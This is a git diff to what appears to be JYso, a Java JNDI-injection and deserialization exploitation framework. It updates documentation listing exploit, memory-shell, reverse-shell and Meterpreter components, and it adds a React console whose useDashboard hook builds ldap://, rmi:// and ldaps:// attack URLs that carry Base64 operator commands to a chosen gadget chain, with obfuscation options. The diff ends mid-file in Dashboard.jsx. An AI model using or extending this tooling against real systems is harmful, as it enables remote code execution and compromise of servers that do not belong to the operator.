diff --git a/README.md b/README.md
index ef7bd62..232a45f 100644
--- a/README.md
+++ b/README.md
@@ -40,9 +40,6 @@
如果你有其他很棒的想法请务必告诉我!😎
-## 🐯 编译
-
-下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
```shell
./gradlew shadowJar
diff --git a/docs/directory_structure.md b/docs/directory_structure.md
index 6408a84..5518f36 100644
--- a/docs/directory_structure.md
+++ b/docs/directory_structure.md
@@ -1,72 +1,129 @@
-├─.gradle Gradle构建配置文件
-│ ├─8.7
-│ │ ├─checksums
-│ │ ├─dependencies-accessors
-│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
-│ │ │ ├─classes
-│ │ │ │ └─org
-│ │ │ │ └─gradle
-│ │ │ │ └─accessors
-│ │ │ │ └─dm
-│ │ │ └─sources
-│ │ │ └─org
-│ │ │ └─gradle
-│ │ │ └─accessors
-│ │ │ └─dm
-│ │ ├─executionHistory
-│ │ ├─expanded
-│ │ ├─fileChanges
-│ │ ├─fileHashes
-│ │ └─vcsMetadata
-│ ├─buildOutputCleanup
-│ └─vcs-1
-├─.idea IDEA配置信息文件
-│ ├─artifacts
-│ ├─codeStyles
-│ ├─inspectionProfiles
-│ └─libraries
-├─docs 有关文档
-├─gradle
-│ └─wrapper
-├─libs 第三方jar
-└─src
-├─main
-│ └─java
-│ └─com
-│ └─qi4l
-│ └─jndi
-│ ├─controllers JNDI路由逻辑
-│ │ └─utils
-│ ├─enumtypes
-│ ├─exceptions
-│ ├─exploit -cp 模式下的漏洞逻辑
-│ ├─gadgets 反序列化链
-│ │ ├─annotation
-│ │ ├─Config
-│ │ └─utils
-│ │ ├─beanshell
-│ │ ├─cc
-│ │ ├─clojure
-│ │ ├─dirty
-│ │ ├─handle
-│ │ ├─jdbc
-│ │ ├─jre
-│ │ └─utf8OverlongEncoding
-│ └─template
-│ ├─Agent Agent注入逻辑
-│ │ └─utli
-│ ├─echo 回显类
-│ └─memshell 内存shell逻辑
-│ ├─BypassNginxCDN
-│ ├─jboss
-│ ├─jetty
-│ ├─resin
-│ ├─shell
-│ ├─spring
-│ ├─struts2
-│ ├─tomcat
-│ ├─Tomcat_Spring_Jetty
-│ ├─weblogic
-│ └─Websphere
-└─test
-└─java
\ No newline at end of file
+.
+├── .gradle Gradle 构建缓存
+│ ├── 7.6.6 Gradle 版本缓存
+│ │ ├── checksums
+│ │ ├── dependencies-accessors
+│ │ ├── executionHistory
+│ │ ├── fileChanges
+│ │ ├── fileHashes
+│ │ └── gc.properties
+│ ├── buildOutputCleanup
+│ └── vcs-1
+├── .idea IDEA 配置
+│ ├── artifacts
+│ ├── codeStyles
+│ ├── inspectionProfiles
+│ └── libraries
+├── docs 项目文档
+│ └── directory_structure.md
+├── gradle
+│ └── wrapper Gradle Wrapper (7.6.6)
+├── libs 第三方 JAR
+├── src
+│ ├── main
+│ │ ├── frontend 前端 React 项目
+│ │ │ ├── public
+│ │ │ └── src
+│ │ ├── java
+│ │ │ └── com/qi4l/JYso
+│ │ │ ├── HTTPServer.java
+│ │ │ ├── LdapServer.java
+│ │ │ ├── LdapsServer.java
+│ │ │ ├── RMIServer.java
+│ │ │ ├── Starter.java
+│ │ │ ├── controllers JNDI/LDAP 控制器
+│ │ │ │ ├── BaseLdapController.java 公共基类
+│ │ │ │ ├── BasicController.java
+│ │ │ │ ├── ELProcessorController.java
+│ │ │ │ ├── GroovyController.java
+│ │ │ │ ├── LdapController.java 控制器接口
+│ │ │ │ ├── LdapMapping.java
+│ │ │ │ ├── MemoryXXEController.java
+│ │ │ │ ├── SerializedDataController.java
+│ │ │ │ ├── SnakeYamlController.java
+│ │ │ │ ├── XStreamController.java
+│ │ │ │ ├── jdbcController1.java
+│ │ │ │ ├── jdbcController2.java
+│ │ │ │ ├── ldap2rmiController.java
+│ │ │ │ ├── rmi RMI 工具类
+│ │ │ │ │ ├── Basic.java
+│ │ │ │ │ └── ELProcessor.java
+│ │ │ │ └── utils
+│ │ │ │ └── JNDIUtils.java
+│ │ │ ├── enumtypes
+│ │ │ │ ├── GadgetType.java
+│ │ │ │ ├── PayloadType.java
+│ │ │ │ └── WebsphereActionType.java
+│ │ │ ├── exceptions
+│ │ │ │ ├── IncorrectParamsException.java
+│ │ │ │ ├── UnSupportedActionTypeException.java
+│ │ │ │ ├── UnSupportedGadgetTypeException.java
+│ │ │ │ └── UnSupportedPayloadTypeException.java
+│ │ │ ├── exploit -cp 模式漏洞利用
+│ │ │ │ ├── JBoss.java
+│ │ │ │ ├── JMXInvokeMBean.java
+│ │ │ │ ├── JRMPClassLoadingListener.java
+│ │ │ │ ├── JRMPClient.java
+│ │ │ │ ├── JRMPListener.java
+│ │ │ │ ├── JSF.java
+│ │ │ │ ├── JenkinsCLI.java
+│ │ │ │ ├── JenkinsListener.java
+│ │ │ │ ├── JenkinsReverse.java
+│ │ │ │ └── RMIBindExploit.java
+│ │ │ ├── gadgets 反序列化 Gadget
+│ │ │ │ ├── ObjectPayload.java
+│ │ │ │ ├── ReleaseableObjectPayload.java
+│ │ │ │ ├── SignedObject.java
+│ │ │ │ ├── annotation 注解
+│ │ │ │ │ ├── Authors.java
+│ │ │ │ │ └── Dependencies.java
+│ │ │ │ ├── Config 全局配置
+│ │ │ │ │ ├── Config.java
+│ │ │ │ │ ├── MemShellPayloads.java
+│ │ │ │ │ └── ysoserial.java
+│ │ │ │ ├── utils 工具类
+│ │ │ │ │ ├── Gadgets.java
+│ │ │ │ │ ├── Reflections.java
+│ │ │ │ │ ├── Serializer.java
+│ │ │ │ │ ├── Utils.java
+│ │ │ │ │ ├── ... (ByteUtil, ClassFiles, HexUtils, InjShell 等)
+│ │ │ │ │ ├── beanshell/
+│ │ │ │ │ ├── cc/
+│ │ │ │ │ ├── clojure/
+│ │ │ │ │ ├── dirty/
+│ │ │ │ │ ├── handle/
+│ │ │ │ │ ├── jre/
+│ │ │ │ │ └── utf8OverlongEncoding/
+│ │ │ │ └── *.java 各 Gadget 链实现
+│ │ │ ├── template 模板类
+│ │ │ │ ├── ClassLoaderTemplate.java
+│ │ │ │ ├── DefineClassFromParameter.java
+│ │ │ │ ├── HideMemShellTemplate.java
+│ │ │ │ ├── Meterpreter.java
+│ │ │ │ ├── ReverseShellTemplate.java
+│ │ │ │ └── Template.java
+│ │ │ └── web Web 控制台
+│ │ │ ├── JYsoWebApplication.java
+│ │ │ ├── ApiAuthFilter.java
+│ │ │ ├── AuthServlet.java
+│ │ │ ├── JettyApiServlet.java
+│ │ │ ├── RequestLogCollector.java
+│ │ │ ├── SpaFallbackFilter.java
+│ │ │ ├── StaticResourceServlet.java
+│ │ │ └── config/
+│ │ │ ├── JYsoWebPasswordProvider.java
+│ │ │ └── WebPasswordGenerator.java
+│ │ └── resources 资源文件
+│ │ ├── application.properties
+│ │ ├── log4j2.xml
+│ │ └── static/ 前端打包产出
+│ └── test 测试代码
+│ └── java
+│ ├── Main.java
+│ └── com/example/demo/demos/web
+│ ├── Test.java
+│ └── secCig.java
+├── build.gradle Gradle 构建脚本
+├── settings.gradle Gradle 项目设置
+├── README.md
+└── README.en.md
diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties
index be6265b..878795c 100644
--- a/gradle/wrapper/gradle-wrapper.properties
+++ b/gradle/wrapper/gradle-wrapper.properties
@@ -1,6 +1,6 @@
#Thu Apr 23 23:23:32 CST 2026
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.4-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.6-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
diff --git a/src/main/frontend/src/components/CopyButton.jsx b/src/main/frontend/src/components/CopyButton.jsx
new file mode 100644
index 0000000..e42efc1
--- /dev/null
+++ b/src/main/frontend/src/components/CopyButton.jsx
@@ -0,0 +1,38 @@
+import { useState, useCallback } from 'react'
+
+const CheckIcon = () => (
+
+)
+
+const CopyIcon = () => (
+
+)
+
+export default function CopyButton({ text, className = '', title = 'Copy to clipboard' }) {
+ const [copied, setCopied] = useState(false)
+
+ const handleCopy = useCallback(async () => {
+ if (!text) return
+ try {
+ await navigator.clipboard.writeText(text)
+ setCopied(true)
+ setTimeout(() => setCopied(false), 2000)
+ } catch { /* ignore */ }
+ }, [text])
+
+ return (
+
+ )
+}
diff --git a/src/main/frontend/src/components/Toast.jsx b/src/main/frontend/src/components/Toast.jsx
new file mode 100644
index 0000000..f74552b
--- /dev/null
+++ b/src/main/frontend/src/components/Toast.jsx
@@ -0,0 +1,36 @@
+import { useState, useCallback, createContext, useContext } from 'react'
+
+const ToastContext = createContext(null)
+
+let toastId = 0
+
+export function ToastProvider({ children }) {
+ const [toasts, setToasts] = useState([])
+
+ const showToast = useCallback((message, type = 'success') => {
+ const id = ++toastId
+ setToasts(prev => [...prev, { id, message, type }])
+ setTimeout(() => {
+ setToasts(prev => prev.filter(t => t.id !== id))
+ }, 3200)
+ }, [])
+
+ return (
+
+ {children}
+
+ {toasts.map(t => (
+
+ {t.message}
+
+ ))}
+
+
+ )
+}
+
+export function useToast() {
+ const ctx = useContext(ToastContext)
+ if (!ctx) throw new Error('useToast must be inside ToastProvider')
+ return ctx
+}
diff --git a/src/main/frontend/src/hooks/useDashboard.js b/src/main/frontend/src/hooks/useDashboard.js
new file mode 100644
index 0000000..4477404
--- /dev/null
+++ b/src/main/frontend/src/hooks/useDashboard.js
@@ -0,0 +1,331 @@
+import { useState, useEffect, useMemo, useCallback, useRef } from 'react'
+import { useNavigate } from 'react-router-dom'
+import {
+ getStatus, toggleServer, getGadgets,
+ generatePayload as apiGenerate, updateConfig, setAuthToken, getLogs,
+ getFiles, downloadFile, deleteFile as apiDeleteFile,
+ uploadFile
+} from '../api'
+
+const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
+
+const DEFAULT_CONFIG = {
+ ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
+ AESkey: '123', user: '', PASSWD: '', TLSProxy: false, keyPass: '', certFile: ''
+}
+
+export default function useDashboard() {
+ const navigate = useNavigate()
+ const [mode, setMode] = useState('jndi')
+ const [animKey, setAnimKey] = useState(0)
+ const [status, setStatus] = useState({})
+ const [loading, setLoading] = useState(false)
+ const [toggling, setToggling] = useState(null)
+ const [activeJndiTab, setActiveJndiTab] = useState('config')
+ const [gadgets, setGadgets] = useState([])
+ const [gadgetSearch, setGadgetSearch] = useState('')
+ const [selectedGadget, setSelectedGadget] = useState('')
+ const [payloadCmd, setPayloadCmd] = useState('')
+ const [payloadResult, setPayloadResult] = useState('')
+ const [encodeBase64, setEncodeBase64] = useState(true)
+ const [showAdvanced, setShowAdvanced] = useState(false)
+ const [inherit, setInherit] = useState(false)
+ const [obscure, setObscure] = useState(false)
+ const [dcfp, setDcfp] = useState('')
+ const [dirtyType, setDirtyType] = useState('')
+ const [dirtyLength, setDirtyLength] = useState('')
+ const [noComSun, setNoComSun] = useState(false)
+ const [mozillaClassLoader, setMozillaClassLoader] = useState(false)
+ const [rhino, setRhino] = useState(false)
+ const [utf8Overlong, setUtf8Overlong] = useState(false)
+ const [payloadSubTab, setPayloadSubTab] = useState('gadget')
+ const [gadgetOpen, setGadgetOpen] = useState(false)
+ const [jndiPayloadResult, setJndiPayloadResult] = useState('')
+ const [rmiPayloadResult, setRmiPayloadResult] = useState('')
+ const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
+ const [jndiGadgetInput, setJndiGadgetInput] = useState('')
+ const [gadgetModeInput, setGadgetModeInput] = useState('')
+ const [saveFilename, setSaveFilename] = useState('')
+ const [filePath, setFilePath] = useState('')
+ const [classLoaderResult, setClassLoaderResult] = useState('')
+ const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
+ const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
+ const [routing, setRouting] = useState('ELProcessor')
+ const [routingOpen, setRoutingOpen] = useState(false)
+ const [logLines, setLogLines] = useState([])
+ const [logLoading, setLogLoading] = useState(false)
+ const logEndRef = useRef(null)
+ const [files, setFiles] = useState([])
+ const [filesLoading, setFilesLoading] = useState(false)
+ const [dragOver, setDragOver] = useState(false)
+ const [uploading, setUploading] = useState(false)
+ const fileInputRef = useRef(null)
+ const [configForm, setConfigForm] = useState({ ...DEFAULT_CONFIG })
+
+ const filteredGadgets = useMemo(() => {
+ if (!gadgetSearch) return gadgets
+ return gadgets.filter(g => g.name.toLowerCase().includes(gadgetSearch.toLowerCase()))
+ }, [gadgetSearch, gadgets])
+
+ const switchMode = useCallback((next) => {
+ if (next === mode) return
+ setMode(next)
+ setAnimKey(k => k + 1)
+ }, [mode])
+
+ async function loadStatus() {
+ try {
+ const res = await getStatus()
+ setStatus(res.data)
+ setConfigForm(prev => ({
+ ...prev,
+ ip: res.data.ip || '',
+ ldapPort: res.data.ldapPort || 1389,
+ ldapsPort: res.data.ldapsPort || 1669,
+ httpPort: res.data.httpPort || 3456,
+ rmiPort: res.data.rmiPort || 1099,
+ AESkey: res.data.AESkey || '123',
+ user: res.data.user || '',
+ PASSWD: res.data.PASSWD || '',
+ TLSProxy: res.data.TLSProxy || false,
+ keyPass: res.data.keyPass || '',
+ certFile: res.data.certFile || ''
+ }))
+ } catch (e) {
+ if (e.response && e.response.status === 401) {
+ setAuthToken(null)
+ navigate('/login', { replace: true })
+ }
+ }
+ }
+
+ async function loadGadgets() {
+ try {
+ const res = await getGadgets()
+ setGadgets(res.data)
+ } catch (e) { /* ignore */ }
+ }
+
+ async function handleToggleServer(server) {
+ setToggling(server)
+ try {
+ const res = await toggleServer(server)
+ if (res.data.success) {
+ setStatus(res.data.status)
+ }
+ } catch (e) { /* ignore */ }
+ finally { setToggling(null) }
+ }
+
+ async function handleSaveConfig() {
+ setLoading(true)
+ try {
+ await updateConfig(configForm)
+ loadStatus()
+ } catch (e) { /* ignore */ }
+ finally { setLoading(false) }
+ }
+
+ async function handleGeneratePayload() {
+ const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
+ if (!gadgetName) return
+ setLoading(true)
+ try {
+ const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename, encodeBase64,
+ inherit, obscure, dcfp, dirtyType, dirtyLength, noComSun, mozillaClassLoader, rhino, utf8Overlong })
+ if (res.data.success) {
+ setPayloadResult(res.data.message || 'Payload generated successfully')
+ if (res.data.saved) fetchFiles()
+ } else {
+ setPayloadResult('Error: ' + (res.data.error || 'unknown'))
+ }
+ } catch (e) {
+ setPayloadResult(e.response?.data?.error || 'Failed to generate payload')
+ } finally { setLoading(false) }
+ }
+
+ function handleGenerateJndiPayload() {
+ const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
+ if (!gadgetName || !payloadCmd) return
+ setLoading(true)
+ setJndiPayloadResult('')
+ setRmiPayloadResult('')
+ setLdapsPayloadResult('')
+ try {
+ const bytes = new TextEncoder().encode(payloadCmd)
+ const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
+ const ipAddr = configForm.ip || '0.0.0.0'
+ const ldapPort = configForm.ldapPort || 1389
+ const rmiPort = configForm.rmiPort || 1099
+ const ldapsPort = configForm.ldapsPort || 1669
+
+ setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
+ setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
+ setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
+ } catch (e) { /* ignore */ }
+ finally { setLoading(false) }
+ }
+
+ function handleGenerateClassLoader() {
+ const fp = filePath.trim()
+ const route = routing.trim()
+ if (!fp || !route) return
+ setLoading(true)
+ setClassLoaderResult('')
+ setRmiClassLoaderResult('')
+ setLdapsClassLoaderResult('')
+ if (!fp.toLowerCase().endsWith('.class')) {
+ setLoading(false)
+ return
+ }
+ try {
+ const ipAddr = configForm.ip || '0.0.0.0'
+ const ldapPort = configForm.ldapPort || 1389
+ const rmiPort = configForm.rmiPort || 1099
+ const ldapsPort = configForm.ldapsPort || 1669
+
+ setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`)
+ setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`)
+ setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`)
+ } catch (e) { /* ignore */ }
+ finally { setLoading(false) }
+ }
+
+ function logout() {
+ setAuthToken(null)
+ navigate('/login', { replace: true })
+ }
+
+ async function fetchLogs() {
+ setLogLoading(true)
+ try {
+ const res = await getLogs(100)
+ setLogLines(res.data.logs || [])
+ } catch { /* ignore */ }
+ finally { setLogLoading(false) }
+ }
+
+ useEffect(() => { loadStatus(); loadGadgets() }, [])
+
+ useEffect(() => {
+ if (mode !== 'gadget') return
+ fetchFiles()
+ }, [mode])
+
+ async function fetchFiles() {
+ setFilesLoading(true)
+ try {
+ const res = await getFiles()
+ setFiles(res.data)
+ } catch { /* ignore */ }
+ finally { setFilesLoading(false) }
+ }
+
+ async function handleDownloadFile(name) {
+ try {
+ const res = await downloadFile(name)
+ const url = window.URL.createObjectURL(new Blob([res.data]))
+ const a = document.createElement('a')
+ a.href = url
+ a.download = name
+ a.click()
+ window.URL.revokeObjectURL(url)
+ } catch { /* ignore */ }
+ }
+
+ async function handleDeleteFile(name) {
+ if (!confirm(`Delete ${name}?`)) return
+ try {
+ await apiDeleteFile(name)
+ fetchFiles()
+ } catch { /* ignore */ }
+ }
+
+ function handleDragOver(e) {
+ e.preventDefault()
+ e.stopPropagation()
+ setDragOver(true)
+ }
+
+ function handleDragLeave(e) {
+ e.preventDefault()
+ e.stopPropagation()
+ setDragOver(false)
+ }
+
+ function handleDrop(e) {
+ e.preventDefault()
+ e.stopPropagation()
+ setDragOver(false)
+ const droppedFiles = e.dataTransfer.files
+ if (droppedFiles.length > 0) {
+ doUpload(droppedFiles[0])
+ }
+ }
+
+ function handleFileSelect(e) {
+ const selectedFiles = e.target.files
+ if (selectedFiles.length > 0) {
+ doUpload(selectedFiles[0])
+ }
+ e.target.value = ''
+ }
+
+ async function doUpload(file) {
+ setUploading(true)
+ try {
+ const formData = new FormData()
+ formData.append('file', file)
+ const res = await uploadFile(formData)
+ if (res.data.success) {
+ fetchFiles()
+ }
+ } catch (e) { /* ignore */ }
+ finally {
+ setUploading(false)
+ }
+ }
+
+ useEffect(() => {
+ if (activeJndiTab !== 'logs') return
+ fetchLogs()
+ const id = setInterval(fetchLogs, 2000)
+ return () => clearInterval(id)
+ }, [activeJndiTab])
+
+ useEffect(() => {
+ if (logEndRef.current) logEndRef.current.scrollIntoView({ behavior: 'smooth' })
+ }, [logLines])
+
+ return {
+ mode, animKey, switchMode,
+ status, toggling, handleToggleServer,
+ activeJndiTab, setActiveJndiTab,
+ gadgets, gadgetSearch, setGadgetSearch, selectedGadget, setSelectedGadget, filteredGadgets,
+ payloadCmd, setPayloadCmd, payloadResult, setPayloadResult,
+ encodeBase64, setEncodeBase64,
+ showAdvanced, setShowAdvanced,
+ inherit, setInherit, obscure, setObscure,
+ dcfp, setDcfp, dirtyType, setDirtyType, dirtyLength, setDirtyLength,
+ noComSun, setNoComSun, mozillaClassLoader, setMozillaClassLoader,
+ rhino, setRhino, utf8Overlong, setUtf8Overlong,
+ payloadSubTab, setPayloadSubTab,
+ gadgetOpen, setGadgetOpen,
+ jndiPayloadResult, rmiPayloadResult, ldapsPayloadResult,
+ jndiGadgetInput, setJndiGadgetInput,
+ gadgetModeInput, setGadgetModeInput,
+ saveFilename, setSaveFilename,
+ filePath, setFilePath,
+ classLoaderResult, rmiClassLoaderResult, ldapsClassLoaderResult,
+ routing, setRouting, routingOpen, setRoutingOpen, ROUTING_OPTIONS,
+ logLines, logLoading, fetchLogs, logEndRef,
+ files, filesLoading, fetchFiles,
+ dragOver, setDragOver, uploading, fileInputRef,
+ configForm, setConfigForm,
+ loading, setLoading,
+ handleSaveConfig, handleGeneratePayload, handleGenerateJndiPayload, handleGenerateClassLoader,
+ logout,
+ handleDownloadFile, handleDeleteFile,
+ handleDragOver, handleDragLeave, handleDrop, handleFileSelect
+ }
+}
diff --git a/src/main/frontend/src/index.css b/src/main/frontend/src/index.css
index 4192acd..c69113e 100644
--- a/src/main/frontend/src/index.css
+++ b/src/main/frontend/src/index.css
@@ -790,27 +790,38 @@ select {
}
.log-container {
- background: #0d1117;
- border: 1px solid #30363d;
- border-radius: 12px;
- padding: 12px;
+ background: var(--bg-input);
+ border: 1px solid var(--border-color);
+ border-radius: 14px;
+ padding: 14px;
max-height: 380px;
overflow-y: auto;
font-family: var(--font-mono);
- font-size: 11px;
+ font-size: 12px;
line-height: 1.65;
transition: background var(--transition-fluid), border-color var(--transition-fluid);
}
.log-line {
- color: #c9d1d9;
+ color: var(--text-secondary);
white-space: pre-wrap;
word-break: break-all;
- padding: 1px 0;
+ padding: 2px 0;
+}
+
+.log-line:nth-child(odd) {
+ background: rgba(0, 0, 0, 0.02);
+ border-radius: 4px;
+ padding: 2px 6px;
+ margin: 0 -6px;
+}
+
+[data-theme="dark"] .log-line:nth-child(odd) {
+ background: rgba(255, 255, 255, 0.03);
}
.log-empty {
- color: #8b949e;
+ color: var(--text-muted);
text-align: center;
padding: 32px 0;
font-family: 'Inter', sans-serif;
@@ -907,31 +918,164 @@ select {
}
.file-upload-zone {
- border: 2px dashed var(--border);
- border-radius: 8px;
+ border: 2px dashed var(--border-color);
+ border-radius: 14px;
padding: 18px;
text-align: center;
cursor: pointer;
- transition: all .2s;
+ transition: all var(--transition-fast);
margin-bottom: 10px;
color: var(--text-muted);
font-size: 13px;
font-family: 'Inter', sans-serif;
}
.file-upload-zone:hover {
- border-color: var(--primary);
- color: var(--primary);
+ border-color: var(--accent);
+ color: var(--accent);
+ background: var(--accent-glow);
}
.file-upload-zone.drag-over {
- border-color: var(--primary);
- background: rgba(99, 102, 241, 0.08);
- color: var(--primary);
+ border-color: var(--accent);
+ background: var(--accent-glow);
+ color: var(--accent);
}
.file-upload-zone.uploading {
opacity: 0.6;
pointer-events: none;
}
+::-webkit-scrollbar {
+ width: 6px;
+ height: 6px;
+}
+
+::-webkit-scrollbar-track {
+ background: transparent;
+}
+
+::-webkit-scrollbar-thumb {
+ background: var(--text-muted);
+ border-radius: 3px;
+ opacity: 0.4;
+}
+
+::-webkit-scrollbar-thumb:hover {
+ background: var(--text-secondary);
+}
+
+::-webkit-scrollbar-corner {
+ background: transparent;
+}
+
+.toast-container {
+ position: fixed;
+ top: 20px;
+ left: 50%;
+ transform: translateX(-50%);
+ z-index: 1000;
+ display: flex;
+ flex-direction: column;
+ gap: 8px;
+ pointer-events: none;
+}
+
+.toast {
+ pointer-events: auto;
+ padding: 12px 20px;
+ border-radius: 14px;
+ font-size: 14px;
+ font-weight: 500;
+ backdrop-filter: blur(24px) saturate(180%);
+ -webkit-backdrop-filter: blur(24px) saturate(180%);
+ box-shadow: var(--card-shadow-lg);
+ animation: toastSlideIn 320ms cubic-bezier(0.22, 0.1, 0, 1) both, toastFadeOut 320ms cubic-bezier(0.22, 0.1, 0, 1) 2800ms forwards;
+ max-width: 420px;
+ word-break: break-word;
+}
+
+.toast-success {
+ background: var(--success-bg);
+ color: var(--success);
+ border: 1px solid var(--success);
+}
+
+.toast-error {
+ background: var(--danger-bg);
+ color: var(--danger);
+ border: 1px solid var(--danger);
+}
+
+@keyframes toastSlideIn {
+ from { opacity: 0; transform: translateY(-12px) scale(0.96); }
+ to { opacity: 1; transform: translateY(0) scale(1); }
+}
+
+@keyframes toastFadeOut {
+ from { opacity: 1; transform: translateY(0) scale(1); }
+ to { opacity: 0; transform: translateY(-8px) scale(0.96); }
+}
+
+.mode-switch-enter {
+ animation: modeSwitchIn 380ms cubic-bezier(0.22, 0.1, 0, 1) both;
+}
+
+.mode-switch-exit {
+ animation: modeSwitchOut 280ms cubic-bezier(0.22, 0.1, 0, 1) both;
+}
+
+@keyframes modeSwitchIn {
+ from { opacity: 0; transform: translateY(16px) scale(0.98); }
+ to { opacity: 1; transform: translateY(0) scale(1); }
+}
+
+@keyframes modeSwitchOut {
+ from { opacity: 1; transform: translateY(0) scale(1); }
+ to { opacity: 0; transform: translateY(-8px) scale(0.98); }
+}
+
+.input-icon-wrap {
+ position: relative;
+}
+
+.input-icon-wrap .input-icon {
+ position: absolute;
+ left: 12px;
+ top: 50%;
+ transform: translateY(-50%);
+ color: var(--text-muted);
+ pointer-events: none;
+ transition: color var(--transition-fast);
+}
+
+.input-icon-wrap input,
+.input-icon-wrap textarea {
+ padding-left: 38px !important;
+}
+
+.input-icon-wrap input:focus + .input-icon,
+.input-icon-wrap textarea:focus + .input-icon {
+ color: var(--accent);
+}
+
+.wiki-btn svg {
+ margin-left: 4px;
+ opacity: 0.6;
+}
+
+@media (max-width: 768px) {
+ .page-shell { padding: 48px 16px 32px; }
+ .grid-2 { grid-template-columns: 1fr; }
+ .config-form { grid-template-columns: 1fr; }
+ .config-form .btn { grid-column: span 1; }
+ .login-inner { padding: 36px 28px 32px; }
+ .gadget-layout { flex-direction: column !important; }
+ .gadget-layout > .glass-card { width: 100% !important; }
+ .header { flex-wrap: wrap; gap: 12px; }
+ .header .mode-segment-control { order: 3; width: 100%; }
+ .header-right { order: 2; }
+ .toast { max-width: calc(100vw - 32px); }
+}
+
@media (prefers-reduced-motion: reduce) {
*, *::before, *::after {
transition-duration: 0ms !important;
diff --git a/src/main/frontend/src/main.jsx b/src/main/frontend/src/main.jsx
index 0fefa4b..49a4635 100644
--- a/src/main/frontend/src/main.jsx
+++ b/src/main/frontend/src/main.jsx
@@ -2,15 +2,18 @@ import React from 'react'
import ReactDOM from 'react-dom/client'
import { HashRouter } from 'react-router-dom'
import { ThemeProvider } from './context/ThemeContext'
+import { ToastProvider } from './components/Toast'
import App from './App'
import './index.css'
ReactDOM.createRoot(document.getElementById('root')).render(
-
-
-
+
+
+
+
+
)
diff --git a/src/main/frontend/src/pages/Dashboard.jsx b/src/main/frontend/src/pages/Dashboard.jsx
index 451c0cc..b58cde8 100644
--- a/src/main/frontend/src/pages/Dashboard.jsx
+++ b/src/main/frontend/src/pages/Dashboard.jsx
@@ -1,349 +1,77 @@
-import { useState, useEffect, useMemo, useCallback, useRef } from 'react'
-import { useNavigate } from 'react-router-dom'
import { useTheme } from '../context/ThemeContext'
-import {
- getStatus, toggleServer, getGadgets,
- generatePayload as apiGenerate, updateConfig, setAuthToken, getLogs,
- getFiles, downloadFile, deleteFile as apiDeleteFile,
- uploadFile
-} from '../api'
+import { useToast } from '../components/Toast'
+import useDashboard from '../hooks/useDashboard'
+import CopyButton from '../components/CopyButton'
+
+const ExternalLinkIcon = () => (
+
+)
+
+const SearchIcon = () => (
+
+)
+
+const CommandIcon = () => (
+
+)
+
+const FileIcon = () => (
+
+)
export default function Dashboard() {
- const navigate = useNavigate()
const { theme, toggleTheme } = useTheme()
- const [mode, setMode] = useState('jndi')
- const [animKey, setAnimKey] = useState(0)
- const [status, setStatus] = useState({})
- const [loading, setLoading] = useState(false)
- const [msg, setMsg] = useState({ success: '', error: '' })
- const [toggling, setToggling] = useState(null)
- const [activeJndiTab, setActiveJndiTab] = useState('config')
- const [gadgets, setGadgets] = useState([])
- const [gadgetSearch, setGadgetSearch] = useState('')
- const [selectedGadget, setSelectedGadget] = useState('')
- const [payloadCmd, setPayloadCmd] = useState('')
- const [payloadResult, setPayloadResult] = useState('')
- const [encodeBase64, setEncodeBase64] = useState(true)
- const [copied, setCopied] = useState(false)
- const [showAdvanced, setShowAdvanced] = useState(false)
- const [inherit, setInherit] = useState(false)
- const [obscure, setObscure] = useState(false)
- const [dcfp, setDcfp] = useState('')
- const [dirtyType, setDirtyType] = useState('')
- const [dirtyLength, setDirtyLength] = useState('')
- const [noComSun, setNoComSun] = useState(false)
- const [mozillaClassLoader, setMozillaClassLoader] = useState(false)
- const [rhino, setRhino] = useState(false)
- const [utf8Overlong, setUtf8Overlong] = useState(false)
- const [payloadSubTab, setPayloadSubTab] = useState('gadget')
- const [gadgetOpen, setGadgetOpen] = useState(false)
- const [jndiPayloadResult, setJndiPayloadResult] = useState('')
- const [rmiPayloadResult, setRmiPayloadResult] = useState('')
- const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
- const [jndiGadgetInput, setJndiGadgetInput] = useState('')
- const [gadgetModeInput, setGadgetModeInput] = useState('')
- const [saveFilename, setSaveFilename] = useState('')
- const [filePath, setFilePath] = useState('')
- const [classLoaderResult, setClassLoaderResult] = useState('')
- const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
- const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
- const [routing, setRouting] = useState('ELProcessor')
- const [routingOpen, setRoutingOpen] = useState(false)
- const [logLines, setLogLines] = useState([])
- const [logLoading, setLogLoading] = useState(false)
- const logEndRef = useRef(null)
- const [files, setFiles] = useState([])
- const [filesLoading, setFilesLoading] = useState(false)
- const [dragOver, setDragOver] = useState(false)
- const [uploading, setUploading] = useState(false)
- const fileInputRef = useRef(null)
-
- const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
-
- const [configForm, setConfigForm] = useState({
